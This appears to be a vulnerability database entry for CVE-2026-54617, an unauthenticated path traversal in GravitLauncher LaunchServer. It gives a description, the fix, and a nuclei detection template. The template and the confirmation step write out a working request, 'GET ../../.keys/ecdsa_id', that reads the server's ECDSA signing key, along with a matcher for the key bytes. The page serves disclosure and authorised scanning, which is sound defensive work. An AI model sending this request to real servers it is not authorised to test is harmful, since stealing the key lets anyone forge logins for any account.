Browse / CVEs / CVE-2026-54617
CVE-2026-54617· gravitlauncher / launchserver· CWE-22
GravitLauncher LaunchServer <=5.7.11 - Unauthenticated Path Traversal to Arbitrary File Read
LaunchServer's Netty FileServerHandler computes the served path by stripping one leading character on the assumption that every request-target begins with '/'. Netty's HttpServerCodec accepts a request-target without a leading slash verbatim, so a request without a leading slash bypasses path normalization and escapes the updatesDir. The file server is enabled by default (netty.fileServerEnabled=true) on 0.0.0.0:9274 with no authentication, allowing an unauthenticated remote GET to read any file readable by the LaunchServer process including its own ECDSA signing key (.keys/ecdsa_id), which signs access JWTs and enables full authentication bypass for any account.
Impact
An unauthenticated attacker can read arbitrary files including the ECDSA signing key, enabling them to forge access JWTs and bypass authentication for any account.
Fix
Upgrade GravitLauncher LaunchServer to a version newer than 5.7.11.
How to confirm it
Send: GET ../../.keys/ecdsa_id
Positive when: contains(hex_encode(body), "3041020100301306072a8648ce3d020106082a8648ce3d0301070427302502010104") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-54617 -u <target>
The full check
id: CVE-2026-54617
info:
name: GravitLauncher LaunchServer <=5.7.11 - Unauthenticated Path Traversal to Arbitrary File Read
author: str4k3r
severity: critical
description: |
LaunchServer's Netty FileServerHandler computes the served path by stripping one leading character on the assumption that every request-target begins with '/'. Netty's HttpServerCodec accepts a request-target without a leading slash verbatim, so a request without a leading slash bypasses path normalization and escapes the updatesDir. The file server is enabled by default (netty.fileServerEnabled=true) on 0.0.0.0:9274 with no authentication, allowing an unauthenticated remote GET to read any file readable by the LaunchServer process including its own ECDSA signing key (.keys/ecdsa_id), which signs access JWTs and enables full authentication bypass for any account.
impact: |
An unauthenticated attacker can read arbitrary files including the ECDSA signing key, enabling them to forge access JWTs and bypass authentication for any account.
remediation: |
Upgrade GravitLauncher LaunchServer to a version newer than 5.7.11.
reference:
- https://github.com/GravitLauncher/Launcher/security/advisories/GHSA-5g75-477j-2c2f
- https://github.com/GravitLauncher/Launcher/commit/1e0b3a3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 9.8
cve-id: CVE-2026-54617
epss-score: 0.03457
epss-percentile: 0.89134
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: gravitlauncher
product: launchserver
tags: cve,cve2026,gravitlauncher,launchserver,path-traversal,unauth
http:
- raw:
- |+
GET ../../.keys/ecdsa_id HTTP/1.1
Host: {{Hostname}}
unsafe: true
matchers:
- type: dsl
dsl:
- 'contains(hex_encode(body), "3041020100301306072a8648ce3d020106082a8648ce3d0301070427302502010104")'
- 'status_code == 200'
condition: andReferences
- https://github.com/GravitLauncher/Launcher/security/advisories/GHSA-5g75-477j-2c2f
- https://github.com/GravitLauncher/Launcher/commit/1e0b3a3
Use this check only on systems you are authorised to test. Where the data comes from